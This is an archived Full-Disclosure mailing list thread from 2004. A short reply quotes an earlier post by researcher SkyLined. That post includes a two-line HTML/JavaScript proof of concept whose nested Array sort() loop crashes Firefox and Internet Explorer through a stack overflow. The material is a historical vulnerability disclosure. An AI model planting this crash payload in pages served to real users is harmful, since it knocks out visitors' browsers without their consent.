full-disclosure - FIREFOX flaws: nested array sort()

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <41A67D78.2040601@valhallalegends.com>
From: iago at valhallalegends.com (Ron)
Subject: FIREFOX flaws: nested array sort()

Sounds like he does it "For fun".  That's what I'd do.

RandallM wrote:

> 
>So, where do you all stand. Exploit for fame or for purpose?
>
>  
>
>>-----Original Message-----
>>From: full-disclosure-admin@...ts.netsys.com 
>>[mailto:full-disclosure-admin@...ts.netsys.com] On Behalf Of 
>>Berend-Jan Wever
>>Sent: 25 November 2004 01:05
>>To: full-disclosure@...ts.netsys.com; 
>>vuln-dev@...urityfocus.com; bugtraq@...urityfocus.com
>>Subject: [Full-Disclosure] FIREFOX flaws: nested array sort() 
>>loop Stack overflow exception
>>
>>Hi all,
>>
>>Same flaw works for Firefox as well as MSIE:
>>
>><HTML>
>>  <SCRIPT> a = new Array(); while (1) { (a = new 
>>Array(a)).sort(); } </SCRIPT>
>>  <SCRIPT> a = new Array(); while (1) { (a = new 
>>Array(a)).sort(); } </SCRIPT> </HTML>
>>
>>Added to the list: 
>>http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html
>>
>>I'd have loved to CC mozilla about this, but I didn't have 
>>the time to do the crash course "how to write a bug report" 
>>and go through all that bugzilla crap.
>>
>>Cheers,
>>SkyLined
>>http://www.edup.tudelft.nl/~bjwever
>>    
>>
>
>
>
>Randall M
> 
>________________
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>  
>